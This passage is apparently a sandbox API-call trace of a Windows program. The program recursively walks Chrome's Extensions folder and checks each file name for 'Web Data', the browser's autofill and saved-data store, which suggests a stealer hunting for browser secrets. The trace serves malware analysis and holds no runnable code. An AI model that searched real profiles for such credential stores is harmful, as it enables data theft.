[0078.485] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.485] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.485] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.485] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0078.485] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.485] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0078.485] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.485] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0078.485] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.485] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0078.486] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.486] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0078.486] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.486] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0078.486] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0078.486] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 112 [0078.486] lstrlenA (lpString="\\") returned 1 [0078.486] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x650650 [0078.486] lstrcpyA (in: lpString1=0x650650, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0078.486] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0078.486] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 113 [0078.486] lstrlenA (lpString="_locales") returned 8 [0078.486] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x650750 [0078.486] lstrcpyA (in: lpString1=0x650750, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0078.486] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.486] LocalFree (hMem=0x650650) returned 0x0 [0078.486] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.486] lstrlenA (lpString="\\*.*") returned 4 [0078.486] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6522a8 [0078.486] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.486] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*" [0078.486] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.489] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.489] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.489] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.489] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.489] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.489] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0078.489] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0078.489] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.489] lstrlenA (lpString="\\") returned 1 [0078.489] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.489] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.489] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.489] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.489] lstrlenA (lpString="ar") returned 2 [0078.489] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.489] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.489] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0078.489] LocalFree (hMem=0x6523b0) returned 0x0 [0078.489] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 124 [0078.489] lstrlenA (lpString="\\*.*") returned 4 [0078.489] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.489] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0078.489] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*" [0078.489] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.490] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.490] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.490] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.490] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.490] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.490] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.490] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.490] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.490] LocalFree (hMem=0x6525c0) returned 0x0 [0078.490] LocalFree (hMem=0x6524b8) returned 0x0 [0078.490] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.490] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0078.490] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0078.490] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.490] lstrlenA (lpString="\\") returned 1 [0078.490] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.490] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.490] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.490] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.490] lstrlenA (lpString="bg") returned 2 [0078.490] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.490] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.490] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0078.490] LocalFree (hMem=0x6523b0) returned 0x0 [0078.490] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 124 [0078.490] lstrlenA (lpString="\\*.*") returned 4 [0078.490] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.490] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0078.491] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*" [0078.491] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.491] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.491] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.491] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.491] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.491] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.491] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.491] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.491] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.492] LocalFree (hMem=0x6525c0) returned 0x0 [0078.492] LocalFree (hMem=0x6524b8) returned 0x0 [0078.492] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.492] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0078.492] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0078.492] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.492] lstrlenA (lpString="\\") returned 1 [0078.492] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.492] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.492] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.492] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.492] lstrlenA (lpString="ca") returned 2 [0078.492] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.492] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.492] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0078.492] LocalFree (hMem=0x6523b0) returned 0x0 [0078.492] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 124 [0078.492] lstrlenA (lpString="\\*.*") returned 4 [0078.492] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.492] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0078.492] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*" [0078.492] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.492] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.492] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.492] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.492] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.492] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.492] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.492] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.492] LocalFree (hMem=0x6525c0) returned 0x0 [0078.492] LocalFree (hMem=0x6524b8) returned 0x0 [0078.492] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.492] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0078.492] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0078.492] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.493] lstrlenA (lpString="\\") returned 1 [0078.493] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.493] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.493] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.493] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.493] lstrlenA (lpString="cs") returned 2 [0078.493] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.493] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.493] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0078.493] LocalFree (hMem=0x6523b0) returned 0x0 [0078.493] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 124 [0078.493] lstrlenA (lpString="\\*.*") returned 4 [0078.493] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.493] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" | out: 